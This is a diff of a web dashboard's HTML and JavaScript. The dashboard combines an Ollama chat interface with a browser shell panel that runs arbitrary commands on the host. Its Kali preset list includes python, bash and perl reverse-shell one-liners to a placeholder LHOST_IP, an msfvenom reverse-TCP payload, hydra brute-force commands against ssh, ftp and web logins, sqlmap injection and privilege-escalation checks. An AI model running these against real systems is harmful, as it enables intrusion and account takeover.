- const msgs=document.getElementById('chat-messages');
675
- msgs.innerHTML='<div class="chat-empty" id="chat-empty"><div class="big">OLLAMA</div><div style="font-size:12px;color:var(--dim);letter-spacing:2px">SELECT A MODEL AND START CHATTING</div></div>';
676
  log('Chat cleared');
677
  }
678
 
679
- function appendMsg(role, text, streaming=false){
680
  const empty=document.getElementById('chat-empty');
681
  if(empty) empty.remove();
682
- const msgs=document.getElementById('chat-messages');
683
  const wrap=document.createElement('div');
684
- wrap.className=`msg ${role}`;
685
  const av=document.createElement('div');
686
- av.className='msg-avatar';
687
  av.textContent=role==='user'?'YOU':'AI';
688
  const bub=document.createElement('div');
689
- bub.className=`msg-bubble${streaming?' streaming':''}`;
690
  bub.textContent=text;
691
- const time=document.createElement('div');
692
- time.className='msg-time'; time.textContent=now();
693
  const inner=document.createElement('div');
694
- inner.appendChild(bub); inner.appendChild(time);
695
- wrap.appendChild(av); wrap.appendChild(inner);
696
  msgs.appendChild(wrap);
697
  msgs.scrollTop=msgs.scrollHeight;
698
  return bub;
699
  }
700
 
701
  async function sendChat(){
702
- const input=document.getElementById('chat-input');
703
  const text=input.value.trim();
704
  if(!text) return;
705
  if(!currentModel){toast('Select a model first','error');return;}
706
 
707
- input.value=''; input.style.height='';
708
  document.getElementById('send-btn').disabled=true;
709
- log(`Chat β†’ ${currentModel}: "${text.slice(0,40)}..."`,'info');
710
 
711
- appendMsg('user', text);
712
- chatHistory.push({role:'user',content:text});
 
713
 
714
- const bubble=appendMsg('ai','',true);
715
- let fullText='';
716
-
717
- try {
718
  const r=await fetch(`${BASE}/api/chat`,{
719
- method:'POST',headers:{'Content-Type':'application/json'},
720
- body:JSON.stringify({model:currentModel,messages:chatHistory,stream:true})
 
721
  });
 
 
 
722
  const reader=r.body.getReader();
723
  const dec=new TextDecoder();
724
- let buf='';
725
  while(true){
726
  const {done,value}=await reader.read();
727
  if(done) break;
728
- buf+=dec.decode(value,{stream:true});
729
- const lines=buf.split('\n'); buf=lines.pop();
730
- for(const line of lines){
731
- if(!line.trim()) continue;
732
- try{
733
- const d=JSON.parse(line);
734
- const token=d.message?.content||'';
735
- fullText+=token;
736
- bubble.textContent=fullText;
737
- document.getElementById('chat-messages').scrollTop=9999;
738
- if(d.done) break;
739
- }catch(e){}
740
- }
741
  }
 
742
  bubble.classList.remove('streaming');
743
- chatHistory.push({role:'assistant',content:fullText});
744
- log(`AI responded (${fullText.length} chars)`,'success');
745
- } catch(e){
746
- bubble.textContent='Error: '+e.message;
747
  bubble.classList.remove('streaming');
748
- bubble.style.color='var(--danger)';
749
  log('Chat error: '+e.message,'error');
 
750
  }
 
751
  document.getElementById('send-btn').disabled=false;
752
  input.focus();
753
  }
754
 
755
- // Chat input handlers
756
- const chatInput=document.getElementById('chat-input');
757
- chatInput.addEventListener('keydown',e=>{
758
- if(e.key==='Enter'&&!e.shiftKey){e.preventDefault();sendChat();}
759
- });
760
- chatInput.addEventListener('input',function(){
761
- this.style.height='auto';
762
- this.style.height=Math.min(this.scrollHeight,120)+'px';
763
- });
764
 
765
- // ─────────────────────────────────────────────
766
- // SHELL
767
- // ─────────────────────────────────────────────
768
- function clearShell(){
769
- document.getElementById('shell-output').innerHTML='<div class="shell-empty-msg">// cleared</div>';
770
- }
771
 
772
- function setShellCmd(cmd){
773
- document.getElementById('shell-input').value=cmd;
774
- document.getElementById('shell-input').focus();
775
- }
776
 
777
- function appendShellLine(text,cls='shell-line'){
778
- const out=document.getElementById('shell-output');
779
- // Remove empty placeholder
780
- const placeholder=out.querySelector('.shell-empty-msg');
781
- if(placeholder) placeholder.remove();
782
- const line=document.createElement('div');
783
- line.className=cls;
784
- line.textContent=text;
785
- out.appendChild(line);
786
  out.scrollTop=out.scrollHeight;
787
- return line;
788
  }
789
 
790
  async function runShell(){
791
- const input=document.getElementById('shell-input');
792
- const cmd=input.value.trim();
793
  if(!cmd||shellRunning) return;
794
 
795
- shellHistory.unshift(cmd);
796
- shellHistoryIdx=-1;
797
- input.value='';
798
-
799
  shellRunning=true;
800
- shellController=new AbortController();
801
  document.getElementById('run-btn').disabled=true;
802
- document.getElementById('kill-btn').classList.add('visible');
803
 
804
- appendShellLine('$ '+cmd,'shell-cmd-echo');
805
- log(`Shell: ${cmd}`,'info');
806
 
807
- try {
808
  const r=await fetch(`${BASE}/shell`,{
809
  method:'POST',
810
  headers:{'Content-Type':'application/json'},
811
  body:JSON.stringify({cmd}),
812
- signal:shellController.signal,
813
  });
814
-
815
  const reader=r.body.getReader();
816
  const dec=new TextDecoder();
817
  let buf='';
818
-
819
  while(true){
820
  const {done,value}=await reader.read();
821
  if(done) break;
822
  buf+=dec.decode(value,{stream:true});
823
- // flush complete lines immediately
824
- const lines=buf.split('\n');
825
- buf=lines.pop(); // keep partial line
826
- for(const line of lines){
827
- appendShellLine(line);
828
- }
829
  }
830
- if(buf) appendShellLine(buf);
831
- appendShellLine('','shell-exit-ok');
832
- log('Shell done','success');
833
- } catch(e){
834
  if(e.name!=='AbortError'){
835
- appendShellLine('Error: '+e.message,'shell-exit-err');
836
  log('Shell error: '+e.message,'error');
837
- } else {
838
- appendShellLine('[killed by user]','shell-exit-err');
839
  }
840
  }
841
 
842
- shellRunning=false;
843
- shellController=null;
844
  document.getElementById('run-btn').disabled=false;
845
- document.getElementById('kill-btn').classList.remove('visible');
846
- input.focus();
847
  }
848
 
849
  function killShell(){
850
- if(shellController){
851
- shellController.abort();
852
- toast('Process killed','error');
853
- log('Shell process killed','warn');
854
- }
855
  }
856
 
857
- // Shell input: enter to run, up/down for history
858
- document.getElementById('shell-input').addEventListener('keydown',e=>{
859
  if(e.key==='Enter'){runShell();return;}
860
- if(e.key==='ArrowUp'){
861
- e.preventDefault();
862
- if(shellHistoryIdx<shellHistory.length-1){
863
- shellHistoryIdx++;
864
- e.target.value=shellHistory[shellHistoryIdx]||'';
865
- }
866
- }
867
- if(e.key==='ArrowDown'){
868
- e.preventDefault();
869
- if(shellHistoryIdx>0){shellHistoryIdx--;e.target.value=shellHistory[shellHistoryIdx]||'';}
870
- else{shellHistoryIdx=-1;e.target.value='';}
871
- }
872
  });
873
 
874
- // ─────────────────────────────────────────────
875
- // KALI TOOL CATEGORIES
876
- // ─────────────────────────────────────────────
877
- const KALI_CMDS = {
878
- system: [
879
- {label:'uname -a', cmd:'uname -a'},
880
- {label:'os-release', cmd:'cat /etc/os-release'},
881
- {label:'kali version', cmd:'cat /etc/kali_version 2>/dev/null || lsb_release -a'},
882
- {label:'ls -la', cmd:'ls -la'},
883
- {label:'df -h', cmd:'df -h'},
884
- {label:'free -h', cmd:'free -h'},
885
- {label:'top', cmd:'top -bn1 | head -25'},
886
- {label:'htop snap', cmd:'htop -d 1 2>/dev/null | head -30 || top -bn1 | head -25'},
887
- {label:'ps aux', cmd:'ps aux --sort=-%cpu | head -20'},
888
- {label:'nvidia-smi', cmd:'nvidia-smi'},
889
- {label:'cpu info', cmd:'lscpu | head -20'},
890
- {label:'env', cmd:'env | sort'},
891
- {label:'uptime', cmd:'uptime'},
892
- {label:'whoami', cmd:'whoami && id'},
893
- {label:'installed tools', cmd:'dpkg -l | grep -E "nmap|hydra|sqlmap|metasploit|john|aircrack|nikto|dirb|gobuster|wfuzz" | awk '{print $2, $3}''},
894
  ],
895
- recon: [
896
- {label:'nmap -sV HOST', cmd:'nmap -sV -sC --open TARGET_IP'},
897
- {label:'nmap full scan', cmd:'nmap -p- -T4 TARGET_IP'},
898
- {label:'nmap UDP', cmd:'nmap -sU --top-ports 100 TARGET_IP'},
899
- {label:'nmap OS detect', cmd:'nmap -O TARGET_IP'},
900
- {label:'nmap scripts', cmd:'nmap --script=vuln TARGET_IP'},
901
- {label:'dnsrecon', cmd:'dnsrecon -d TARGET_DOMAIN'},
902
- {label:'dnsenum', cmd:'dnsenum TARGET_DOMAIN'},
903
- {label:'fierce', cmd:'fierce --domain TARGET_DOMAIN'},
904
- {label:'theharvester', cmd:'theHarvester -d TARGET_DOMAIN -b all'},
905
- {label:'whois', cmd:'whois TARGET_DOMAIN'},
906
- {label:'host lookup', cmd:'host TARGET_DOMAIN'},
907
- {label:'dig full', cmd:'dig TARGET_DOMAIN ANY +noall +answer'},
908
- {label:'recon-ng start', cmd:'recon-ng'},
909
- {label:'shodan search', cmd:'echo "Visit https://shodan.io for TARGET_DOMAIN"'},
910
  ],
911
- web: [
912
- {label:'nikto scan', cmd:'nikto -h http://TARGET_IP'},
913
- {label:'gobuster dirs', cmd:'gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt'},
914
- {label:'gobuster vhosts', cmd:'gobuster vhost -u http://TARGET_DOMAIN -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt'},
915
- {label:'dirb scan', cmd:'dirb http://TARGET_IP /usr/share/wordlists/dirb/common.txt'},
916
- {label:'sqlmap GET', cmd:'sqlmap -u "http://TARGET_IP/page?id=1" --dbs --batch'},
917
- {label:'sqlmap POST', cmd:'sqlmap -u "http://TARGET_IP/login" --data="user=a&pass=b" --dbs --batch'},
918
- {label:'wfuzz fuzz', cmd:'wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://TARGET_IP/FUZZ'},
919
- {label:'whatweb', cmd:'whatweb http://TARGET_IP'},
920
- {label:'ffuf dirs', cmd:'ffuf -u http://TARGET_IP/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302'},
921
- {label:'curl headers', cmd:'curl -I http://TARGET_IP'},
922
- {label:'wordlists ls', cmd:'ls /usr/share/wordlists/'},
923
- {label:'seclists', cmd:'ls /usr/share/wordlists/seclists/ 2>/dev/null || echo "Not installed"'},
924
  ],
925
- network: [
926
- {label:'ip addr', cmd:'ip addr show'},
927
- {label:'ip route', cmd:'ip route show'},
928
- {label:'netstat', cmd:'netstat -tulnp 2>/dev/null || ss -tulnp'},
929
- {label:'ss -tulnp', cmd:'ss -tulnp'},
930
- {label:'ping gw', cmd:'ping -c 4 $(ip route | grep default | awk '{print $3}')'},
931
- {label:'arp scan', cmd:'arp-scan --localnet 2>/dev/null || echo "Install: apt install arp-scan"'},
932
- {label:'tcpdump iface', cmd:'tcpdump -i any -c 20 -n'},
933
- {label:'nc listen', cmd:'nc -lvnp 4444'},
934
- {label:'nc connect', cmd:'nc TARGET_IP PORT'},
935
- {label:'tshark capture', cmd:'tshark -i any -c 50'},
936
- {label:'traceroute', cmd:'traceroute TARGET_IP'},
937
- {label:'netdiscover', cmd:'netdiscover -r 192.168.1.0/24 -P 2>/dev/null | head -30'},
938
- {label:'masscan', cmd:'masscan -p1-65535 TARGET_IP --rate=1000 2>/dev/null || echo "Install: apt install masscan"'},
939
  ],
940
- exploit: [
941
- {label:'msfconsole', cmd:'msfconsole -q -x "version; exit"'},
942
- {label:'msf db status', cmd:'msfdb status 2>/dev/null'},
943
- {label:'searchsploit', cmd:'searchsploit apache 2.4'},
944
- {label:'exploitdb list', cmd:'ls /usr/share/exploitdb/exploits/ | head -20'},
945
- {label:'msfvenom payloads',cmd:'msfvenom -l payloads | head -30'},
946
- {label:'msfvenom shell', cmd:'msfvenom -p linux/x86/shell_reverse_tcp LHOST=LHOST_IP LPORT=4444 -f elf -o /tmp/shell.elf'},
947
- {label:'python revshell', cmd:'echo "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"LHOST_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"'},
948
- {label:'bash revshell', cmd:'echo "bash -i >& /dev/tcp/LHOST_IP/4444 0>&1"'},
949
- {label:'perl revshell', cmd:'echo "perl -e 'use Socket;$i=\"LHOST_IP\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'"'},
950
- {label:'linpeas dl', cmd:'curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && echo Done'},
951
- {label:'pspy dl', cmd:'curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64 && echo Done'},
952
- {label:'suid bins', cmd:'find / -perm -u=s -type f 2>/dev/null'},
953
- {label:'sudo -l', cmd:'sudo -l 2>/dev/null'},
954
- {label:'crontab', cmd:'cat /etc/crontab && ls /etc/cron*'},
955
  ],
956
- password: [
957
- {label:'john hash', cmd:'john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt'},
958
- {label:'john show', cmd:'john --show /tmp/hash.txt'},
959
- {label:'hashcat md5', cmd:'hashcat -m 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
960
- {label:'hashcat sha1', cmd:'hashcat -m 100 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
961
- {label:'hashcat ntlm', cmd:'hashcat -m 1000 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
962
- {label:'hydra ssh', cmd:'hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP'},
963
- {label:'hydra http', cmd:'hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "TARGET_IP/login:username=^USER^&password=^PASS^:Invalid"'},
964
- {label:'hydra ftp', cmd:'hydra -l root -P /usr/share/wordlists/rockyou.txt ftp://TARGET_IP'},
965
- {label:'medusa ssh', cmd:'medusa -h TARGET_IP -u root -P /usr/share/wordlists/rockyou.txt -M ssh'},
966
- {label:'crunch wordlist', cmd:'crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o /tmp/custom.txt'},
967
- {label:'rockyou.txt', cmd:'ls -lh /usr/share/wordlists/rockyou.txt* && gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null; echo done'},
968
- {label:'identify hash', cmd:'echo "PASTE_HASH_HERE" | hash-identifier 2>/dev/null || echo "Tool: haiti, hashid"'},
969
  ],
970
- forensics: [
971
- {label:'file check', cmd:'file /tmp/*'},
972
- {label:'strings', cmd:'strings /tmp/TARGET_FILE | head -50'},
973
- {label:'xxd hex dump', cmd:'xxd /tmp/TARGET_FILE | head -30'},
974
- {label:'binwalk', cmd:'binwalk /tmp/TARGET_FILE'},
975
- {label:'binwalk extract', cmd:'binwalk -e /tmp/TARGET_FILE'},
976
- {label:'exiftool', cmd:'exiftool /tmp/TARGET_FILE'},
977
- {label:'steghide info', cmd:'steghide info /tmp/TARGET_FILE'},
978
- {label:'steghide extract',cmd:'steghide extract -sf /tmp/TARGET_FILE'},
979
- {label:'foremost carve', cmd:'foremost -i /tmp/TARGET_FILE -o /tmp/foremost_out'},
980
- {label:'volatility info', cmd:'volatility -f /tmp/TARGET_FILE imageinfo 2>/dev/null || echo "volatility not installed"'},
981
- {label:'tcpdump read', cmd:'tcpdump -r /tmp/TARGET.pcap | head -30'},
982
- {label:'tshark read', cmd:'tshark -r /tmp/TARGET.pcap | head -30'},
983
- {label:'ls /proc', cmd:'ls /proc/'},
984
- {label:'dmesg', cmd:'dmesg | tail -30'},
985
  ],
986
- ollama: [
987
- {label:'list models', cmd:'curl -s http://localhost:11434/api/tags | python3 -m json.tool'},
988
- {label:'ollama list', cmd:'ollama list'},
989
- {label:'ollama ps', cmd:'ollama ps'},
990
- {label:'ollama version', cmd:'ollama version'},
991
- {label:'ollama procs', cmd:'ps aux | grep ollama'},
992
- {label:'ollama logs', cmd:'journalctl -u ollama -n 50 2>/dev/null || tail -50 /var/log/ollama.log 2>/dev/null'},
993
- {label:'pull tinyllama', cmd:'ollama pull tinyllama'},
994
- {label:'pull phi3', cmd:'ollama pull phi3'},
995
- {label:'pull mistral', cmd:'ollama pull mistral'},
996
- {label:'run tinyllama', cmd:'ollama run tinyllama "Hello, who are you?"'},
997
- {label:'gpu info', cmd:'nvidia-smi 2>/dev/null || echo "No GPU / nvidia-smi not found"'},
998
- {label:'disk usage', cmd:'du -sh ~/.ollama/models/ 2>/dev/null'},
999
- {label:'api health', cmd:'curl -s http://localhost:11434/ && echo'},
1000
  ],
1001
  };
1002
 
1003
- let currentCat = 'system';
1004
- function switchCat(btn, cat) {
1005
- document.querySelectorAll('.cat-tab').forEach(b=>b.classList.remove('active'));
1006
  btn.classList.add('active');
1007
- currentCat = cat;
1008
- renderQuickCmds(cat);
1009
  }
1010
- function renderQuickCmds(cat) {
1011
- const cmds = KALI_CMDS[cat] || [];
1012
- const container = document.getElementById('quick-cmds');
1013
- container.innerHTML = cmds.map(c =>
1014
- `<span class="qcmd" title="${c.cmd}" onclick="setShellCmd(${JSON.stringify(c.cmd)})">${c.label}</span>`
1015
- ).join('');
1016
  }
1017
 
1018
- // ─────────────────────────────────────────────
1019
- // INIT
1020
- // ─────────────────────────────────────────────
1021
  checkStatus();
1022
- setInterval(checkStatus, 30000); // ping every 30s
1023
- renderQuickCmds('system'); // load default kali cmds
1024
  </script>
1025
  </body>
1026
- </html>
 
3
  <head>
4
  <meta charset="UTF-8"/>
5
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
6
+ <title>HYDRA-AI CONTROL</title>
7
+ <link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Bebas+Neue&family=JetBrains+Mono:wght@300;400;700&display=swap" rel="stylesheet"/>
8
  <style>
9
  :root {
10
+ --bg: #04060a;
11
+ --panel: #080d14;
12
+ --border: #111d2e;
13
+ --accent: #00ff41;
14
+ --accent2: #ff003c;
15
+ --accent3: #00e5ff;
16
+ --text: #a8b8c8;
17
+ --dim: #334455;
18
+ --warn: #ffcc00;
19
+ --font-mono: 'JetBrains Mono', 'Share Tech Mono', monospace;
 
 
 
20
  --font-head: 'Bebas Neue', sans-serif;
21
  }
22
  *{box-sizing:border-box;margin:0;padding:0}
23
+ html,body{height:100%;background:var(--bg);color:var(--text);font-family:var(--font-mono);overflow:hidden}
24
 
25
+ /* scanline */
26
+ body::before{
27
+ content:'';position:fixed;inset:0;pointer-events:none;z-index:9998;
28
+ background:repeating-linear-gradient(0deg,transparent,transparent 3px,rgba(0,255,65,.015) 3px,rgba(0,255,65,.015) 4px);
29
+ }
30
+
31
+ /* vignette */
32
  body::after{
33
+ content:'';position:fixed;inset:0;pointer-events:none;z-index:9997;
34
+ background:radial-gradient(ellipse at center,transparent 60%,rgba(0,0,0,.7) 100%);
35
  }
36
 
37
+ /* LAYOUT */
38
+ #app{display:grid;grid-template-rows:52px 1fr;height:100vh;position:relative;z-index:1}
39
 
40
+ /* HEADER */
41
  header{
42
+ display:flex;align-items:center;gap:14px;padding:0 18px;
43
  background:var(--panel);border-bottom:1px solid var(--border);
44
+ position:relative;
45
  }
46
+ header::after{
47
  content:'';position:absolute;bottom:0;left:0;right:0;height:1px;
48
+ background:linear-gradient(90deg,transparent 0%,var(--accent) 30%,var(--accent2) 70%,transparent 100%);
49
+ opacity:.6;
50
+ }
51
+ .logo{
52
+ font-family:var(--font-head);font-size:26px;letter-spacing:4px;
53
+ color:var(--accent);text-shadow:0 0 20px rgba(0,255,65,.5),0 0 40px rgba(0,255,65,.2);
54
+ }
55
+ .logo em{color:var(--accent2);font-style:normal}
56
+ .dot{width:7px;height:7px;border-radius:50%;background:var(--accent2);box-shadow:0 0 8px var(--accent2);animation:pulse 1.5s infinite;flex-shrink:0}
57
+ .dot.on{background:var(--accent);box-shadow:0 0 8px var(--accent)}
58
+ @keyframes pulse{0%,100%{opacity:1}50%{opacity:.3}}
59
+ .status-txt{font-size:10px;color:var(--dim);letter-spacing:2px}
60
  .spacer{flex:1}
61
+ .model-wrap{display:flex;align-items:center;gap:8px}
62
+ .model-wrap label{font-size:9px;color:var(--dim);letter-spacing:3px;text-transform:uppercase}
63
+ #gmodel{
64
+ background:rgba(0,255,65,.05);border:1px solid rgba(0,255,65,.2);color:var(--accent);
65
+ font-family:var(--font-mono);font-size:11px;padding:4px 8px;border-radius:2px;outline:none;cursor:pointer;
 
 
 
66
  }
67
+ #gmodel:focus{border-color:var(--accent)}
68
+ #gmodel option{background:#0a0f14;color:var(--text)}
69
 
70
+ /* TABS */
71
+ #main{display:flex;height:100%;overflow:hidden}
72
  .tab-nav{
73
+ display:flex;flex-direction:column;width:48px;background:var(--panel);
74
+ border-right:1px solid var(--border);padding:6px 0;gap:2px;flex-shrink:0;
75
  }
76
+ .tbtn{
77
  display:flex;flex-direction:column;align-items:center;justify-content:center;
78
+ gap:3px;padding:11px 4px;cursor:pointer;border:none;background:transparent;
79
+ color:var(--dim);font-size:7px;letter-spacing:1px;text-transform:uppercase;
80
+ border-left:2px solid transparent;transition:all .15s;font-family:var(--font-mono);
81
  }
82
+ .tbtn svg{width:16px;height:16px;stroke:currentColor;fill:none;stroke-width:1.5}
83
+ .tbtn:hover{color:var(--text);background:rgba(255,255,255,.02)}
84
+ .tbtn.active{color:var(--accent);border-left-color:var(--accent);background:rgba(0,255,65,.04)}
 
85
 
86
  .panels{flex:1;overflow:hidden;position:relative}
87
  .panel{position:absolute;inset:0;display:none;flex-direction:column}
88
  .panel.active{display:flex}
89
 
90
+ /* PANEL HEADER */
91
+ .ph{
92
+ padding:10px 16px;border-bottom:1px solid var(--border);
93
+ display:flex;align-items:center;gap:10px;flex-shrink:0;background:var(--panel);
94
  }
95
+ .ph-title{font-family:var(--font-head);font-size:18px;letter-spacing:3px;color:var(--text)}
96
+ .ph-title em{color:var(--accent);font-style:normal}
97
  .badge{
98
+ font-size:8px;padding:2px 6px;border-radius:1px;letter-spacing:1px;
99
+ background:rgba(0,255,65,.08);border:1px solid rgba(0,255,65,.2);color:var(--accent);
100
  }
101
+ .badge.red{background:rgba(255,0,60,.08);border-color:rgba(255,0,60,.3);color:var(--accent2)}
102
 
103
+ /* ── CHAT ── */
104
+ #chat-msgs{
105
+ flex:1;overflow-y:auto;padding:14px;display:flex;flex-direction:column;gap:10px;
 
 
106
  }
107
+ #chat-msgs::-webkit-scrollbar{width:3px}
108
+ #chat-msgs::-webkit-scrollbar-thumb{background:var(--border)}
109
 
110
+ .msg{display:flex;gap:8px;max-width:88%;animation:fadeUp .2s ease}
111
+ @keyframes fadeUp{from{opacity:0;transform:translateY(5px)}to{opacity:1;transform:none}}
112
  .msg.user{align-self:flex-end;flex-direction:row-reverse}
113
+ .av{
114
+ width:26px;height:26px;border-radius:2px;display:flex;align-items:center;
115
+ justify-content:center;font-size:9px;font-weight:700;flex-shrink:0;margin-top:2px;
116
+ font-family:var(--font-head);letter-spacing:1px;
117
+ }
118
+ .msg.user .av{background:rgba(255,0,60,.15);border:1px solid rgba(255,0,60,.3);color:var(--accent2)}
119
+ .msg.ai .av{background:rgba(0,255,65,.08);border:1px solid rgba(0,255,65,.2);color:var(--accent)}
120
+ .bubble{
121
+ padding:9px 13px;border-radius:3px;font-size:12px;line-height:1.65;
122
+ white-space:pre-wrap;word-break:break-word;
123
+ }
124
+ .msg.user .bubble{background:rgba(255,0,60,.08);border:1px solid rgba(255,0,60,.2);color:#ffaabb}
125
+ .msg.ai .bubble{background:rgba(0,255,65,.04);border:1px solid rgba(0,255,65,.12);color:var(--text)}
126
+ .msg.ai .bubble.streaming::after{content:'β–‹';animation:blink .5s step-end infinite;color:var(--accent)}
 
127
  @keyframes blink{0%,100%{opacity:1}50%{opacity:0}}
128
+ .mtime{font-size:8px;color:var(--dim);margin-top:3px}
129
 
130
  .chat-empty{
131
+ flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:6px;
132
+ }
133
+ .chat-empty .big{
134
+ font-family:var(--font-head);font-size:64px;letter-spacing:6px;
135
+ color:transparent;-webkit-text-stroke:1px rgba(0,255,65,.15);
136
+ text-shadow:0 0 60px rgba(0,255,65,.05);
137
  }
138
+ .chat-empty .sub{font-size:10px;color:var(--dim);letter-spacing:3px}
139
 
140
+ #chat-bar{
141
+ padding:10px 14px;border-top:1px solid var(--border);
142
  display:flex;gap:8px;align-items:flex-end;background:var(--panel);
143
  }
144
+ #chat-in{
145
+ flex:1;background:#060b10;border:1px solid var(--border);color:var(--text);
146
+ font-family:var(--font-mono);font-size:12px;padding:9px 11px;border-radius:3px;
147
+ outline:none;resize:none;max-height:120px;min-height:38px;line-height:1.5;
148
+ transition:border-color .15s;
149
  }
150
+ #chat-in:focus{border-color:rgba(0,255,65,.3)}
151
+ #chat-in::placeholder{color:var(--dim)}
152
  .send-btn{
153
+ background:var(--accent);color:#000;border:none;padding:9px 15px;height:38px;
154
+ border-radius:3px;cursor:pointer;font-family:var(--font-head);font-size:13px;
155
+ letter-spacing:2px;transition:all .2s;flex-shrink:0;display:flex;align-items:center;gap:5px;
 
156
  }
157
+ .send-btn:hover{box-shadow:0 0 20px rgba(0,255,65,.4)}
158
  .send-btn:disabled{background:var(--border);color:var(--dim);cursor:not-allowed;box-shadow:none}
159
+ .send-btn svg{width:13px;height:13px;stroke:currentColor;fill:none;stroke-width:2}
160
 
161
+ /* ── SHELL ── */
162
+ #shell-panel{background:#030508}
163
+ .shell-cats{
164
+ display:flex;overflow-x:auto;border-bottom:1px solid var(--border);flex-shrink:0;
165
+ background:rgba(0,0,0,.3);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
166
  }
167
+ .shell-cats::-webkit-scrollbar{height:2px}
168
+ .cat-btn{
 
 
 
 
 
 
169
  background:transparent;border:none;border-bottom:2px solid transparent;
170
+ color:var(--dim);font-family:var(--font-mono);font-size:9px;
171
+ padding:7px 12px;cursor:pointer;white-space:nowrap;transition:all .15s;letter-spacing:.5px;
 
172
  }
173
+ .cat-btn:hover{color:var(--text);background:rgba(255,255,255,.02)}
174
+ .cat-btn.active{color:var(--accent);border-bottom-color:var(--accent);background:rgba(0,255,65,.04)}
175
 
176
+ .qcmds{
177
+ display:flex;gap:5px;padding:5px 14px;border-bottom:1px solid var(--border);
178
+ flex-wrap:wrap;flex-shrink:0;background:#030508;min-height:32px;
 
 
 
 
 
 
 
 
 
 
 
179
  }
180
+ .qc{
181
+ font-family:var(--font-mono);font-size:9px;padding:3px 7px;
182
+ background:rgba(0,255,65,.04);border:1px solid rgba(0,255,65,.15);
183
+ color:rgba(0,255,65,.6);border-radius:1px;cursor:pointer;transition:all .12s;white-space:nowrap;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
184
  }
185
+ .qc:hover{background:rgba(0,255,65,.12);color:var(--accent)}
186
+
187
+ .shell-bar{
188
+ padding:7px 14px;border-bottom:1px solid var(--border);
189
+ display:flex;gap:7px;align-items:center;background:var(--panel);flex-shrink:0;
 
 
 
190
  }
191
+ .shell-in-wrap{
192
+ flex:1;display:flex;align-items:center;gap:7px;
193
+ background:#030810;border:1px solid var(--border);border-radius:2px;padding:0 10px;
 
 
 
 
 
 
 
 
 
 
 
 
 
194
  }
195
+ .sprmt{color:var(--accent);font-size:12px;user-select:none}
196
+ #shell-in{
197
+ flex:1;background:transparent;border:none;outline:none;
198
+ color:#b0ffb0;font-family:var(--font-mono);font-size:12px;padding:7px 0;
 
 
 
 
 
 
 
 
199
  }
200
+ #shell-in::placeholder{color:var(--dim)}
201
+ .run-btn,.kill-btn{
202
+ border:none;padding:6px 13px;border-radius:2px;cursor:pointer;
203
+ font-family:var(--font-head);font-size:12px;letter-spacing:1px;transition:all .2s;
204
+ }
205
+ .run-btn{background:var(--accent);color:#000}
206
+ .run-btn:hover{box-shadow:0 0 14px rgba(0,255,65,.5)}
207
+ .run-btn:disabled{background:#0a1a0a;color:#1a3a1a;cursor:not-allowed}
208
+ .kill-btn{background:var(--accent2);color:#fff;display:none}
209
+ .kill-btn.show{display:block}
210
+ .kill-btn:hover{box-shadow:0 0 14px rgba(255,0,60,.5)}
211
+
212
+ #shell-out{
213
+ flex:1;overflow-y:auto;padding:12px 16px;
214
+ font-family:var(--font-mono);font-size:12px;line-height:1.7;
215
+ color:#7aff7a;word-break:break-all;
216
+ }
217
+ #shell-out::-webkit-scrollbar{width:3px}
218
+ #shell-out::-webkit-scrollbar-thumb{background:var(--border)}
219
+ .s-echo{color:var(--accent3);margin:5px 0 2px}
220
+ .s-exit0{color:var(--accent);font-size:10px;margin-top:3px;opacity:.7}
221
+ .s-exit1{color:var(--accent2);font-size:10px;margin-top:3px}
222
+ .s-empty{color:var(--dim);text-align:center;margin-top:60px;font-size:11px;letter-spacing:2px}
223
+
224
+ /* ── MODELS ── */
225
+ #models-panel{background:var(--bg)}
226
+ .models-body{flex:1;overflow-y:auto;padding:14px;display:flex;flex-direction:column;gap:12px}
227
+ .pull-box{background:var(--panel);border:1px solid var(--border);border-radius:3px;padding:14px}
228
+ .pull-box-title{font-size:9px;color:var(--dim);letter-spacing:3px;margin-bottom:10px}
229
+ .pull-row{display:flex;gap:7px;flex-wrap:wrap}
230
+ #pull-in{
231
+ flex:1;min-width:180px;background:#060b10;border:1px solid var(--border);color:var(--text);
232
+ font-family:var(--font-mono);font-size:11px;padding:7px 10px;border-radius:2px;outline:none;
233
+ }
234
+ #pull-in:focus{border-color:rgba(0,255,65,.3)}
235
+ #pull-in::placeholder{color:var(--dim)}
236
+ .abtn{
237
+ border:none;padding:7px 14px;border-radius:2px;cursor:pointer;
238
+ font-family:var(--font-head);font-size:12px;letter-spacing:1px;transition:all .2s;
239
+ }
240
+ .abtn.p{background:var(--accent);color:#000}
241
+ .abtn.p:hover{box-shadow:0 0 12px rgba(0,255,65,.4)}
242
+ .abtn.s{background:var(--border);color:var(--text)}
243
+ .abtn.s:hover{background:#1a2535}
244
+ .popular{display:flex;gap:5px;flex-wrap:wrap;margin-top:8px}
